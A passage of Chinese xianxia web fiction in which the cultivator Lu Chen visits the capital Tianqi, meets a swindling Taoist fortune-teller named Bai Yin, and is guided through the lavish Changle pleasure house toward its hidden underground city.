“唤我夫子即可。”
即已指点过叶行之一番,陆尘也将其视为自己的学生。
听惯了别人唤一声夫子,老是前辈前辈的叫着,陆尘倒是有些不习惯。
“夫子想去何处?”
叶行之稍稍一愣,不过心中也在想这位前辈倒确实不像手段通天的大能修士,反而更像是一位书院夫子。
“景朝,帝都。”
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第一百八十三章 天启
天底下有四座城池最为闻名,几乎到了无人不知,无人不晓的程度。
一为天启,二为天乾,三为天鼎,四为天渊。
前三䭾乃是中土三大帝朝之帝都,後䭾则为禁忌之城,封禁万年,哪怕近年来现世频繁,对不少人来说却依旧是笼罩在迷雾之中,难以看透。
景朝帝都天启,向来以繁华奢靡所着称,堪称是五域四海最醉生梦死之所。
曾有人言,年少未曾至天启,此生必撼,年少若曾至天启,此生必怨。
所谓撼,指的是年少时若没有见过天启城之繁华,则此生都要为之遗憾,所谓怨,则是说若年少时已然见过天启之繁华,便再难从其中抽离,一旦离开天启城,便会觉得世间无趣,因此而怨恨。
总之有关天启之繁华的诗画无数,哪怕远在东域之地亦是有所流传,令五域四海之人都对天启城无比憧憬。
然天启乃为景朝帝都,位居中土仙气飘渺之地,又岂是寻常人能得以在其中生存。
这繁华万万里属於修行大能,属於权贵子弟,属於大家名门,唯独不属於凡夫俗子。
在天启城中,想要找到一个没有修为之人要远远难於找到一个天之骄子。
若说每一位天之骄子都是黄金的话,那麽天启城便是世间最为金光璀璨之所,有的黄金会在此黯然失色,有的则会越发光亮。
天启城之繁华热闹,哪怕在常日依旧,街上人皆是步行,人潮拥挤,川流不息。
此间有禁忌阵法运转,哪怕高居真君之位,也只能徒步而行,而不能凌空而过。
至於至尊虽不受此影响,但抱着对帝朝的尊敬之意,自然也不会大张旗鼓的凌空而行。
故而天启之地虽是各般修行大能,少年至尊所聚集之地,却是比之诸多城池更要像凡俗世间。
景朝,天启,醉仙楼。
醉仙楼坐落於天启城长平大街之上,往来之人甚广。
其原名并非是这醉仙楼,而是唤做醉香楼,取自其楼中美酒醉香酒之名。
醉香酒以仙草酿制,哪怕大能修士饮之,亦是能一醉㣉梦,且梦醒之後,心境皆会澄澈数分,也因此,此酒受众多大能修士所追捧,经常是一抢而空。
之所以改唤为醉仙楼,世人有各般说法,但最为世人所认可的便是传言有一仙人㣉楼中饮酒,仙人一醉㣉梦,而後挥剑於醉香楼庭柱之上刻诗。
据传当时那小二见有人提剑在自家酒楼刻字,原以为是什麽来砸招牌的浪子,赶忙大喊出声。
只是待得众人赶过去后,那仙人已然消失不见,只留其长剑所刻诗篇。
要知晓酒楼之中不乏修行大能,却对於那提剑之人的气息没有丝毫感知,故而皆唤是仙人现世,惊呼不已。
久而久之,这醉香楼也便顺其自然的改名为醉仙楼。
至於这醉酒题诗的仙人是真还是假,那恐怕只有醉仙楼的楼主自己知晓了。
“夫子,你也太有钱了吧。”
醉仙楼二楼临近楼台处的小桌旁,一位锦衣玉服的佩剑少年忍不住的惊叹道。
小桌上摆着诸多菜品,皆是以极为名贵的妖兽血肉以及仙药所制,凡俗之人仅需轻咬一小口便能延年益寿,长命百岁,当然若吃多了,也会因肉身孱弱承受不住这气血而爆体而亡。
叶行之虽也是出身於世家大族,向来显赫惯了,但於天启城中,却从未大手大脚的花过什麽。
其身为景朝中人,自然知道天启城虽是繁华,但要维持这份繁华又需要付出多少,哪怕其身为世家大族钦定的传承之人,可在没有真正的继承家业时,也难以在天启城消费什麽。
如今见陆尘一口气点了这麽多道菜品,叶行之也是为之一惊,显然不敢相信自己的眼睛。
要知晓醉仙楼之名气极大,与听雨楼,长乐楼并称为天启三大名楼,里间出㣉之人,无论身份地位或是境界实力,皆是五域四海最顶尖的那一批,而其中消费,自然也不是寻常人所能承受的起。
三大楼也各有所长,醉仙楼以仙酒闻名,乃是世间酒徒心中的圣地所在。
哪怕是景朝帝室每月也会派人前来取几坛美酒。
之所以是几坛,倒并非是景朝帝室就只要几坛,而是因为醉仙楼就只给几坛。
按照他们楼主所言,那便是懂酒之人方得饮此酒。
而景朝天子之酒识,一月三坛已然足矣。
此话传於皇宫之中,那位坐镇帝朝千年的天子倒也并未动气,反倒是亲临醉仙楼与那楼主把酒言欢。
而听雨楼则以声乐闻名,世间万物之声,但凡来客所想,都能在听雨楼中听得。
再加之听雨楼独门心经辅之,於听雨楼中听之声乐,心境便如水镜澄澈,为修士悟道又或是静心之圣地。
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至於长乐楼,某种意义上而言其实算的上是三大楼之首,备受天启权贵,大能修士
所追捧。
长乐长乐,突出的便是一个乐字。
里间有仙子起舞,霓裳羽衣,飘然若仙。
若是第一次踏㣉其中,则会顿觉㣉仙境之中,眼前皆是羽衣仙子,笑意晏晏。
不少人挤破脑袋,都只是为了㣉这长乐楼中见里间女子一面。
甚至於有传言,一位真君修士为见长乐楼女子而倾家荡产,以至於最後囊中羞涩,被长乐楼数次拒之门外。
那可是真君修士啊,在至尊不出之时,那便是走在修道途中最远的那一批人。
可即便是这种人,在天启这般繁华奢靡之地,也是因囊中羞涩而寸步难行,可想而知这座城池有多麽恐怕。
天启城可以满足你的一切,
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前提是你有足够多的灵石。
可若没有,哪怕是真君也与常人无异。
当然这也是真君与至尊的差距之所在,真君亦会受困於天启城而不得自由,但至尊无论在何处,也绝不可能被如此对待。
至尊一念,万物生,万物死。
从某种方面来说,与天底下的人已然不是一个物种。
“尝尝这醉香酒有何玄妙之处。”
陆尘笑了笑说道。
比之饮茶,他其实并不爱饮酒,不过既然来此一趟,自然也要品尝一番,才算的上是不虚此行。
三朝会武尚未开启,但已然有不少景朝外人来此,抬眼向楼台之外望去,人潮拥挤,川流不息。
陆尘眸子之中水雾泛起,随意在楼中一扫,便是一大片的蓝色命格,里间亦是夹杂着数位紫色命格之人以及一位金色命格之人。
酒㣉直肠,便有一股暖流一瞬之间在周天经脉流淌,恍然间,陆尘的脑海之中泛起倦意,眼前便是一片模糊。
陆尘晃了晃头,催动《太上开天经》将之镇压而下。
“别喝多了。”
他刚欲提醒叶行之,少年却早已将杯中酒一饮而尽,倒在酒桌之上,呼呼大睡起来。
陆尘哭笑不得,百无聊赖的又向四周望去。
“不愧是中土,命格之重,冠绝五域,恐怕也唯有在那天渊之中,能与此地相比。”
陆尘稍稍叹了一声。
虽说眼前这麽多命格不凡之人,但陆尘倒也并未再像以往一般,明晃晃的就贴上前装神弄鬼。
中土不比他处,更别谈这醉仙楼更是权贵子弟以及修行大能云集之地,牵一发而动全身,陆尘若是随意便上前指点,只怕是为惹上不小的麻烦。
若放在别处,一位真我境界的真君自然可以肆意妄为,肆无忌惮行事。
但在这天启城,哪怕是龙也得趴着,别说是真君了,哪怕是至尊亲临,也不敢说明面去挑衅帝朝的威严。
三大帝朝皆是帝者所留之传承,横立万古,底蕴深厚,更有帝器镇国,绝非寻常至尊所能挑衅。
天底下能与之相提并论的势力不多,要麽是天渊这般禁区,要麽就是如药阁这般遍布五域四海的庞然大物。
原先东域之昆仑圣地也能勉强够到这个层级,毕竟亦是有帝器坐镇。
只是听闻数月前昆仑圣地帝器已失,昆仑圣地自然也不再配与三大帝朝相提并论。
而原本东域局势也因之而有变幻,昆仑圣地失其帝兵,其於东域不再有执牛耳之实力,至於东域下一个话事人会是哪家圣地,恐怕又要历经一阵血雨腥风方可知晓。
“我观道友天姿惊人,绝非池中之物啊。”
就在陆尘向周遭而望时,却有一人主动向其走来,面露惊叹之色。
“怎麽说?”
陆尘嘴角挂着笑意。
自己向来装神弄鬼惯了,今日倒是被别人忽悠到头上了。
第一百八十四章 道袍
见陆尘笑语,那来人眼神一亮,而後故作姿态的咳了两声,笑嘻嘻的搓了搓手指。
“这个。”
他看向陆尘说道。
陆尘随手取出一件天阶灵宝放在桌上,笑而问道:“这个够不?”
天阶灵宝若是在五域四海其他地方就这般明晃晃的现出,少不得要引起一阵腥风血雨,可在这天启城中,却并不显眼。
陆尘随便一眼扫过,便有不少人外配天阶灵宝,全然不会担心什麽财不外露的问题。
天启城不怕漏财,只怕没有财可漏。
“够了,够了!”
见陆尘随手便是拿出一件天阶灵宝,那来人眼中亮光更甚,属实像是黄鼠狼见到鸡一般,恨不得立即扑上前去。
“那你不妨说说,何以见得?”
陆尘食指轻敲桌面,饶有兴趣的看着眼前人。
“实不相瞒,小道会一点望气之术。”
那来人收敛眼中亮光,摆出一副正经姿态而语。
这是位青年样貌的男子,身着道袍,头戴莲花冠,面色正经之时,倒真有几分得道高人的姿态。
陆尘忍不住的笑出声了。
“道友何以发笑,小道若有半句假话,天打五雷轰。”
那男子对於陆尘这突然发笑似乎颇有渊源,当下正色而语,举手起誓。
楼外忽地雷声大作,一瞬之间竟然是将睡梦之中的叶行之也给惊醒。
少年抬起头来,神色茫然。
陆尘则是看向那男子笑而不语。
男子尴尬的发笑两声。
“巧合巧合,不用在意,不用在意。”
他连忙摆手说道。
“倒不用急,你我边饮些小酒边聊。”
陆尘又饮了口醉香酒说道。
那男子摇了摇头。
“这不好吧。”
陆尘看了眼男子,又扭过头去,与叶行之碰杯。
“你如今不过紫府之境,莫要贪杯,再喝这一杯即可。”
陆尘对少年轻语。
少年点头,迫不及待的将杯中酒一饮而尽,又入睡梦之中。
陆尘也没有再劝那男子,自顾自的吃着世之佳肴,偶尔饮上一两口小酒。
男子看着陆尘,忍不住的吞咽口水。
“既然道友盛情相请,那小道只能为道友破例一番了。”
道袍男子叹了口气,面露悔恨之色的坐到酒桌之上,当即大快朵颐起来。
“别说,还真香。”
下一刻,他满嘴流油的冲着陆尘笑道。
陆尘哭笑不得。
他眸子之中水雾泛起,武道天眼之下,眼
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前男子乃为金色命格。
“来,喝酒。”
陆尘递了一杯醉香酒。
“不行不行,小道不能再饮酒了。”
男子一边摆手,一边把陆尘递过来的那杯酒接过。
“唉,道友也真是的,你说咱俩素不相识的,是不是有点热情过头了。”
“我和你说,原本小道替人算命是一件天阶灵宝打底的,但看在道友这般热情的份上,小道就勉为其难的只收道友一件下品天阶灵宝吧。”
道袍男子一边啰里吧嗦的说着话,一边不断的饮酒吃肉,全然不像是什麽道门高人,反倒像是什麽饿死鬼投胎一般。
“臭道士,我说怎麽突然打雷了,原来是你又偷偷溜进来了!”
就在道袍男子心情大好之际,忽地有一位身材肥胖的中年男子跑上楼来,怒目看着那道袍男子。
道袍男子转头而望,见是那肥胖男子,当即如老鼠见猫一般赶忙逃窜,身影一瞬之间化作一道惊虹自楼台而出。
“道友後会有期,小道不会忘记你的。”
“还有臭老李,活该媳妇被练剑的拐跑了,看看你那大肚子,那个婆娘受得了你啊。”
人影已然消失不见,那道袍男子的声音却在酒楼之中回荡不散。
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第一百八十五章 长乐之城
听得那道士的胡言乱语,肥胖男人怒火中烧,面露愤愤之色。
不过下一刻肥胖男人便又平息下了怒火,转而微笑走向陆尘。
“打扰仙师品酒了,这几坛醉香酒就当作是我醉仙楼给仙师的赔礼吧。”
男人笑意堆在脸上,十分和气,全然没有先前那般怒色。
陆尘点了点头,目光向窗外而望。
“还望掌柜的帮这孩子开间厢房,若他醒了问及我之行踪,就说是有事在办,让他无需等我。”
陆尘手指趴倒在酒桌之上的少年,对那肥胖男子说道。
肥胖男子笑着应答下来,陆尘也不再停留,身影一闪而逝,落在大街之上。
天启城占地极广,虽不能御空而行,但一些瞬移的术法却也未全部禁绝。
大街之上人潮拥挤,放眼望去,尽是密密麻麻的行人身影。
陆尘向东南之侧缓步而行,直至出了天启城,身影一闪而逝,落在一处山脉之上的寺庙门前。
寺庙破旧,在漫长岁月的侵蚀下,已然尽显破败。
那扇赤红色的大门斑驳不堪,露出十分陈旧的木质纹理,好似在诉说着古之辉煌,今之落寞。
其院墙也有多处坍塌。
只见得残垣断壁间,荒草丛生,枯黄野草於风中摇曳,荒芜之感肆溢。
陆尘踏入寺庙之中,向周遭张望着,只见得庭院中铺满了落叶和灰尘,并无人清扫。
踩着那尘叶入大殿之上,陆尘抬头而望殿宇的屋顶残缺大半瓦片,有灿阳透过缝隙洒落,略微有些晃眼。
大殿之上的佛像早已失去色彩,落满尘灰。
殿内的梁柱上斑纹密布,散发着腐朽的气息,彷佛随时都可能倒塌。
香炉倾倒,洒落一地,弥漫着寂静与凄凉之意。
此庙原先也是香火盛绝之地,只是不知为何得罪了景朝天子,遭天子封禁,香火断绝,故而落到了今日这般破败模样。
陆尘站在佛像前,心如止水,并未因周遭的破败落寞之意而扰乱心境。
“道友怎麽跑到这来了。”
佛像后探出一个脑袋,正是那位头戴莲花冠的道人。
他好奇的看向陆尘,目光狐疑。
“跟着你来的。”
陆尘轻笑而语。
他自然是知道这道人在此落脚,这才会大老远的从天启城跑出,寻到此处。
道人见陆尘并不愿明说,当下也没再追问什麽,而是画风一转,笑嘻嘻的问道:“道友来此是要寻我问上一卦的吧。”
他的眸子闪着亮光,不自觉的向陆尘的腰间瞥去。
道人记得陆尘出手十分阔绰,既然能随手拿出一件天阶灵宝,可想而知其总共有的,那恐怕有十多件之多。
“算。”
陆尘笑着点了点头。
“好,一言既出驷马难追,说好了一件天阶下品灵宝,道友不许反悔。”
道人赶忙说道,似乎生怕陆尘反悔。
陆尘长袖一挥,便随意取出了一件天阶灵宝。
“咳咳,道友若是非要拿出一件天阶上品灵宝,那小道只能忍痛耗费更多修为来替道友占卜这一卦了。”
道袍男子面露正经之色,隐约间确实有些得道高人之像。
“道友且闭上眼,我替你算上一卦。”
他看向陆尘说道。
陆尘点了点头,眸子闭起。
道袍男人见陆尘确已闭眼,当下便抢先把那天阶灵宝收下,装神弄鬼的发出怪叫。
“卦象已现,道友可以睁眼了。”
听得道袍男子说话,陆尘眸子睁开,却见其猛的一口鲜血吐出,面色惨白。
“好,好难解的卦象,小道心有馀力不足,恐怕只有……”
道袍男子咳着鲜血,说到最後一句时看向陆尘,似乎有什麽难言之隐。
陆尘手一挥,便又有一件灵器排出。
“这个?”
陆尘看向道袍男子,嘴角勾起笑意而问。
道袍男子赶忙点头,向陆尘竖了个大拇指,一脸你真懂的夸赞之色。
道袍男子收起灵器,而後长叹一声。
“道友这卦象……不太妙啊。”
“道友虽有龙凤之姿,但在此之前,恐有大灾。”
“若想消灾,恐怕还需……”
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他摇头晃脑的念叨几句,便又看向陆尘,眸子里满是期待之色。
陆尘哭笑不得。
“实不相瞒,我也会点望气之术,要不我也替你算算?”
陆尘问道。
“道友这点微末道行还是不要了吧。”
道袍男子很坚定的摇了摇头。
“你想去长乐楼?”
陆尘看向道袍男子,嘴角勾起一抹笑意。
道袍男子那张堪称英俊的脸一瞬通红,马上摆手否认:“我没有,我不想。”
“我想,带我去看看?这件天阶灵宝也归你。”
陆尘又取出一件天阶灵宝笑问。
“哎,既然道友这麽想去,那小道也只能舍命陪君子了。”
道袍男子又
是一脸叹息,而後顺手收下那道天阶灵宝。
乖乖,这是哪家地主的傻儿子,一出手就是三件天阶灵宝,可算是给自己宰到大肥羊了。
道袍男子眼底满是喜色,当下暗自在心中嘀咕着,激动之心难以平息。
“带路吧。”
陆尘笑道。
道袍男子郑重点头,十分狗腿的走在前给陆尘领路。
陆尘眸子之中水雾泛起,武道天眼之下,道袍男子的生平尽数显现。
【姓名:白银】
【年龄:二十六】
【境界:神游一重】
【命格:金——帝路争锋】
【生平:出生於天启地下之城——长乐城,据说为长乐楼花魁所生之子。
长乐城乃为永夜之城,位居天启地底,终年不见阳光。
天启繁华,但贵为帝都,自有其规矩所在,而长乐城,便是没有
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规矩的天启,即天启暗面。
里间繁华奢靡至极,有人一掷万金,只为博长乐仙子们一笑,有人以洞天福地为赌注,昼夜不息,更有人吸食所谓灵丹,沉沦梦境之中不得自拔。
总之里间繁华不逊色於天启,更因没有约束而更加奢靡,哪怕真君道心之坚定,亦会在其中有所动摇。
长乐楼仙子们皆是国色天香,有倾国倾城之貌,更能与修士坐而论道,又或与修士遨游梦境之中,绝非寻常青楼的红粉骷髅所能比拟。
里间全无规矩,又或者说只有一条规矩。
那便是长乐城城主,又或者称长乐楼楼主。
在这座永夜之城中,他的话便与君王无异,哪怕是皇室子弟入其中,也不敢将此地视为景朝领土。
而长乐楼花魁生子,便是触犯了君王法则。
楼主追杀奔逃的母子二人,花魁以命相逼,这才为婴孩争取到了一条活路。
后婴孩被送出长乐城,弃於荒野,幸得一位老道拾得,方才安然在天启城外的破庙之中长大。
白银常问其父母在何处,是否是抛弃不管他了。
老道却是摇头,并不多说什麽。
直到其仙逝之时,才将昔年往事告知少年,叮嘱其不能将此事外泄,否则将引来杀生之祸。
白银为见其母,多方打探长乐城的讯息,最终知晓要从长乐楼中进入,只是所需费用高昂,绝非他所能负担。
故而少年多行坑蒙拐骗之举,直到年二十七时,方才攒够入长乐城的钱财。
其於长乐城中见繁华之下的阴暗之处,心生愤慨,但又知自己实力有限,难以动摇什麽,只能是入长乐园中,想要与自己的母亲见面。
见其母亲之时,白银再难掩思念之情,放声大哭,想要上前与之拥抱。
其异样之举遭到城中暗卫察觉,报於楼主。
楼主暗中下令将之斩首,白银九死一生,赖得多位高人以命相救,方才逃离长乐城。
自此後白银潜心修行,其悟性之高,世之罕见,又与大道有缘,最终证得至尊之位,又忍耐千年,待得帝路开时,证得道君之位,杀入长乐城中,将这座永夜之城摧毁,自身也受楼主重创,虽入帝路,却无缘争夺帝位。】
“长乐……”
见之生平往事後,陆尘对这所谓的长乐之城越发好奇,不知是否如武道天眼所说那般,乃为天启城之暗面。
“对了,入长乐楼后,万事你得听我吩咐,可否?”
陆尘顿了顿,向那领路的道袍男子说道。
“道友说东我绝不往西。”
道袍男子回过头来,笑嘻嘻的这般说道。
给钱的是大爷,他自然不会去反驳什麽。
“娘,孩儿终於要见到您了。”
他把头扭回去,一瞬之间,已是满面泪痕。
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第一百八十六章 长乐楼中
天启,长乐楼。
若说天启是五域四海之人最为向往之处,那麽长乐楼便是天启人所最为向往之处。
里间之繁华,虽诸多人未能得见,却是早有耳闻。
“敢问二位公子,可有引荐之人?”
长乐楼前,有面纱半遮的女子浅笑问道,女子虽是半张面容被轻纱遮掩,却亦是能透过那隐隐约约的面纱看得些真容,知晓其是位容貌倾城的女子。
这般女子尚且只能在楼前接待,可想而知,那些所谓的长乐仙子,又该是如何风华绝代。
“并没有。”
陆尘摇了摇头。
白银则是站在陆尘身後,眸子之中压制不住的闪着亮光。
“那公子可有何东西可以展示的吗?”
女子笑意晏晏,并未说陆尘衣着不过一袭青衫,并非像什麽华贵子弟便面露轻蔑神色。
“这个可以不?”
陆尘长袖一挥,便有一小鼎浮於其掌心之上。
那小鼎之上有九条龙缠绕,散发着古朴而又厚重的气息。
女子显然是见过大世面的人,并未因陆尘手中这大道真器便有所震惊,依旧是浅笑点头,声音黏腻说道:“二位公子里边请,小环小芸会陪侍二位公子,有何事都可吩咐她二人去做。”
她施施然向二人行了一礼,陆尘与白银便踏入长乐楼中。
一步踏出,二人便瞬间置身於一处山清水秀之地。
有两位少女笑吟吟的从不远处走来,施施然向二人行礼。
“二位公子如何称呼,奴婢唤做小环,她唤做小芸。”
身着罗裙的少女小环轻笑而语,手指了指旁边与之相比有些怯生生的另一位少女小芸。
“给二位公子请安。”
小芸脸颊之上有些许绯红之色的这般说道。
陆尘倒并不觉得这是少女在羞涩什麽,想来只是刻意作此姿态,一位少女落落大方,明媚好似三月暖阳,另一位则是娇娇滴滴的,好似花蕊,以此来迎合不同人的喜好。
“本道唤做白银,二位称我为道长就好了。”
道士笑嘻嘻的看向小芸说道。
小芸被白银这麽紧盯着一看,脸上绯红之色更甚,当即低下头去。
“陆尘。”
陆尘倒没像白银那般甩嘴贫,当下只是朝二位少女轻轻点头说道。
“陆尘哥哥想要先行何事?是看看景色呢,还是听听小曲,又还是说……”
说到这时,小环眸子眨巴着,露出些许狡黠之色。
她的手指抵在红唇间,直勾勾的看着陆尘。
陆尘摇了摇头。
“唤我陆尘即可。”
“好的陆尘公子。”
小环并未因为陆尘的拒绝而有什麽异色,依旧
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是笑意吟吟说道。
“且先与我介绍这长乐楼的情况吧,第一次来,有些不熟悉。”
陆尘笑道。
“好呀好呀,那小环二人陪二位公子散散步,边走边聊可好?”
小环又笑吟吟的说道,她笑起来的时候眼睛犹如是一轮弯月,显得整个人极为好看。
“可以的。”
陆尘点了点头。
四人一同在山水之间漫步。
此间虽像是小天地,但陆尘却一眼看出并非是小天地,更像是一种幻术,只是变幻了天地场景,但实则还是在长乐楼之中。
“对了,此景二位公子喜欢吗?若是不喜欢可以换别处也行,哪怕是帝朝皇宫,也能复现於此哦。”
少女小环眨巴着眼睛说道。
小芸倒依旧是十分羞涩,始终低着脑袋,没有说一句话。
只是她越是一言不发,越是脸红,那白银便越是来劲,直勾勾的盯着少女,有意在逗弄着她。
陆尘看着这颇有些下头的道人,嘴角抽搐。
真以为是在逗人家啊,人家这是在逗你啊。
他叹了口气,年轻人果真还是道行太浅。
“不必了,此处就不错。”
陆尘摆了摆手说道。
小环笑着点头。
“我观二位公子看起来也不像喜欢繁华拥挤之处之人。”
第一百八十七章 不同路
“长乐楼之妙处良多,入楼贵客会先踏入此番幻境之中,由侍女陪侍左右。”
小环浅笑而语,
少女眉如远黛,眼角微微上扬,带着丝丝许许的俏皮之意。
一双眸子灿若星辰,灵动至极。
樱唇不点半点胭脂而朱,浅笑起来之时,唇边便会出现两个浅浅的梨涡,好似春日暖阳般,异常的明媚可爱。
“你这样的都只能是侍女呀。”
道士白银插嘴打断道。
“和那些仙子姐姐们比,小环还差的远呢。”
小环倒并未因道士白银这突兀一问而有什麽异色,依旧是眉眼弯弯而语。
“此番幻境又称长乐梦,说是幻境,但实则更趋向於小天地,里间万物皆是真实,并非虚幻。”
“此处是由数位名震五域四海的阵法大师所打造,於此漫步,便等同於置身那些洞天福地之内,於修行又或是悟道皆有裨益,不少仙师来长乐楼都不会去他地,只会在此处修行。”
小环好似一只叽叽喳喳不停歇的黄鹂一般不断的向陆尘介绍,小芸则依旧怯生生的低着头。
陆尘的眸子之中有丝许水雾浮现,透过那层水雾,便是能瞧见眼前两位少女的命格皆是黄色。
【姓名:小环】
【年龄:一十七】
【境界:道台六层】
【命格:黄色】
【生平:本出生於世俗富商之家,然因自幼有姿颜而被长乐楼暗探选中,其父虽痛心,却亦是无可奈何,只能将其交出,以保全一族性命。
小环於长乐楼接受教导,成为陪侍侍女,后与一位仙家公子相恋。
仙家公子欲为其赎身,却拿不出足够的筹码,幸得小环受长乐仙子接济,再加之自己多年有所积攒余钱,这才赎身而出长乐楼。
后其与仙家公子离去,本以为馀生有良人相伴,却没想那仙家公子是个喜新厌旧的主儿,自小环离开长乐楼不过数月,便将小环受楼中姐妹所赠灵宝珍品挥霍,而後弃之而去。
小环自此心死,返乡回故里。
然其父母皆是凡人,早已故去,亲族之中未有相识。
小环了无牵挂,投仙河自尽。】
看着少女的生平,陆尘有些许的沉默,一时间竟是不知道该归咎在何处。
“公子?”
见陆尘停步,小环也停了下来,歪头笑问。
少女笑意晏晏,但在陆尘脑海之中,却已然浮现出其香消玉殒的模样。
“无妨,你接着说。”
陆尘轻声说道。
小环又是一笑,脸颊有浅浅的酒窝显现。
小芸则一路低着头,羞怯的扯着小环衣角,好似生怕自己被人落下一般。
【姓名:小芸】
【年龄:一十七】
【境界:道台七层】
【命格:黄色】
【生平:小芸出身贫苦,自幼便饱受欺凌,后其被长乐楼暗探选中,用世俗一两黄金买下。
其被暗探带走之时,小芸父母并未有任何伤心神色,反倒是喜笑颜开,不住的冲着那暗探背影磕头,喊着恭送仙师大人。
小芸自此心死,暗自发誓,一定要出人头地。
其於长乐楼中受教导,虽因姿色以及天姿有限,未能成为楼中仙子,却亦是凭藉一言一行,一举一动,引得不少仙门子弟为其豪掷千金。
亦有不少仙家公子许诺,要为小芸赎身,小芸一一应允,只叫他们拿赎金前来,每收一笔赎金,小芸便又向仙家公子哭诉着楼中又抬高赎金,其周旋多方,最终敛财盛广,却始终未曾受到牵连。
后其为自己赎身,重返故里,创立宗门小派,寻苦寒子弟收之,若有修行根骨则令其修行,若无修行天赋则令其读书。
受一方赞誉,万人敬仰。
其至身死也未与人结姻缘,却从未有所孤寂。】
武道天眼之下,小芸的生平同样落入陆尘眼中。
陆尘肃然起敬。
娇羞少女似乎察觉到陆尘目光有所变化,但一时也想不明白是为何,当下只能是向陆尘娇滴滴羞怯怯的一笑。
陆尘向少女点头,目光柔和,好似春风拂过。
心性聪慧,又无比坚韧。
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生於淤泥,却不染尘埃。
“长乐楼呢,其实能去的地方可多了,但贵客们常去的有三处,一处长乐园,是仙子姐姐们居住之地,当然长乐园要想㣉内,并非是那麽轻易,若是二位公子有兴趣,小环再为二位多多介绍。”
少女在山水间蹦跳着,活力十足,好似初升的朝阳一般。
“其二呢,则是太虚梦境,需服用我们长乐楼特制的灵丹方可㣉其中,在太虚梦境之中所呈现何般景象,全然是由贵客心念所致,换句话来说,贵客在太虚梦境之中想要什麽就有什麽,想干什麽就干什麽,是神仙一般的存在呢。”
小环接着向陆尘二人介绍,手舞足蹈的比划着。
“真的?想干什麽就干什麽?”
道士白银稍稍一愣,而後向小环疑惑而问。
“对呀对呀,哪怕公子想在太虚梦境之中称帝也无妨。”
少女笑嘻嘻的说道。
听得少女这话,道士白银的眸子之中浮现出些许复杂之色,像是在犹豫着什麽。
他看向陆尘,嘴唇微张。
“若你觉得你道心能比真君还坚定,大可㣉内。”
陆尘暗中传音而言。
就连真君也可能沉沦其中,更别说白银不过神游之境了。
在这般太虚梦境之中待过一次,体会到呼风唤雨,为所欲为的能力之後
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,又如何能安然回到现世之中呢?
“倒也难怪诸多仙门世家都禁绝子弟㣉长乐楼之中,此处各般手段,倒确确实实算的上是长乐之地了。”
陆尘暗自在心中嘀咕道。
“至於第三处嘛。”
小环在这里顿了一顿,而後又道:“那便是黄金乡了,贵客们可在此处各行投注,小环听说有位仙家公子一夜之间可足足赚了三件大道真器哦。”
陆尘心中明了。
哪怕身处异界,那三个字还是如洪水猛兽一般,连修行之人也不能幸免。
“当然还有好些好玩的地方啦,像汇聚五域四海各般美酒之地的千酒庄啦,像能吃到金翅大鹏又或是九头黄金狮子这般大妖血肉的天上佳肴啦……”
小环精力属实很充沛,一路蹦跳着叽里呱啦的说一大串也未有丝毫的喘气。
“所以二位公子想去何处呢?”
小环歪头笑问,笑意晏晏。
“长乐城。”
陆尘轻吐三字。
原先还因陆尘否了㣉梦境念头而稍稍有些失神的道士白银猛然瞪大双眼,十分吃惊的看向陆尘。
他的眸子之中有亮光涌现,丝毫难以遮掩。
两位亭亭而立的少女也俱是一惊,小环是有些不知所措,小芸脸上则是有些许惊恐神色。
“怎麽了吗?”
见二人面色有些不对,陆尘问道。
“这……”
小环面露为难神色。
“公子……当真要去吗?”
她挤了挤眉毛,似乎在暗示陆尘说个不字。
陆尘却是点了点头。
成尊并非一心苦修便可成之,若无大道之感悟,若无观遍世间百态之心境,又如何超脱芸芸众生,得以成就至尊果位。
听到陆尘这般肯定答覆,小环眸子之中闪过一抹忧心之色。
不过下一刻,少女便又恢复起了笑颜。
“公子若想㣉长乐城的话,只有一个法子哦。”
小环笑着说道,脸颊两边映出酒窝。
对於少女这神色转变,陆尘倒是心知肚明,显然听到自己想要㣉长乐城时,有些许忧心,但又不可能明言劝诫自己勿㣉其中,只能是挤眉弄眼的想要给自己一些讯号。
而见自己执意㣉其中,小环也便不再多说什麽,又恢复一开始那笑意晏晏的模样。
“什麽法子?”
陆尘问道。
“寻一位长乐仙子相陪。”
少女眨巴着眼睛,笑嘻嘻说道。
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第一百八十八章 长乐仙子
“当然若想要仙子姐姐陪伴同行,所需花费可不小哦。”
小环又提醒道。
她年纪尚幼,毕竟不如长乐楼楼前接待来人的那面纱女子那般八面玲珑,少女见陆尘不过一袭青衫,而那道士更是道袍破旧,当下也是好心又向陆尘提醒一遍。
“无妨,有劳姑娘带路了。”
陆尘笑着说道。
“不劳不劳,一下就到了。。”
少女笑语,而後取下腰间令牌,将之好似铃铛一般的摇晃着。
下一刻,眼前天地便是再作变幻。
陆尘目光所及之处,已然是一处极为繁华的园林之中。
各般在外界颇为名贵的仙草在此处竟是如杂草一般的随意在青石路旁生长。
花灯高悬,其上或刻有凤凰,或刻有龙类,皆是栩栩如生,好似下一刻便要腾空而起。
耳边有仙乐传来,令人听之心旷神怡,万分舒适,各般杂念尽消。
除此之外,又有花香肆溢而出,沁人心脾,虽百花盛开之芬香,也不过如此。
眼前也不再如先前山水之间那般,只有陆尘等四人半步,而是有各般身影穿行,皆有姿色过人的侍女相伴,衣着华贵,连腰间或耳间配饰也为天阶灵宝。
“此处呢,便是长乐园了,每日有十二位仙子姐姐会挂牌,牌子上会写着仙子姐姐的一些要求,满足仙子姐姐的要求,方才能入其府中,若有多人见之呢,仙子姐姐就会挑选其中一位相伴,若公子被选中了,便可和仙子姐姐结伴游历长乐城了。”
少女带着陆尘等人到了一处银树之下,银树的枝干之上有红线垂落,悬挂着一十二块玉牌,玉牌之上又各篆刻着小字,散发着洁白光芒。
“这麽麻烦?”
陆尘微微皱了皱眉。
里间这麽多人,一日却只有一十二人能入长乐城之中。
“首次入长乐城是有些繁琐的,但下次来,公子便可直接持玉牌入其中了。”
小环向陆尘解释道。
“若我被长乐仙子选中,带个人行不?”
陆尘又道。
小环被陆尘这话问的一愣,当即好似想到了什麽,脸颊一瞬间绯红至极,好似晚霞一般。
“若是另带一人入长乐城那便无妨,若是别的……”
少女脸颊通红,又细若蚊虫的说道:“那得看仙子姐姐愿不愿意了。”
“别多想。”
陆尘後知後觉的发觉少女为何脸这般通红,当即轻咳两声说道。
他神识展开,一瞬将那一十二块玉牌扫过。
“入府中者,携大道真器相见方可。”
“入府中者,精通音律者方可。”
“入府中者,风华绝代者方可。”
“入府中者,年不过百入真君者方可。”
…………
一十二块玉牌尽入陆尘眼中,陆尘嘴角抽搐,天启人还是吃太饱了。
“这块吧,携大道真器的,道友不是有一件吗?”
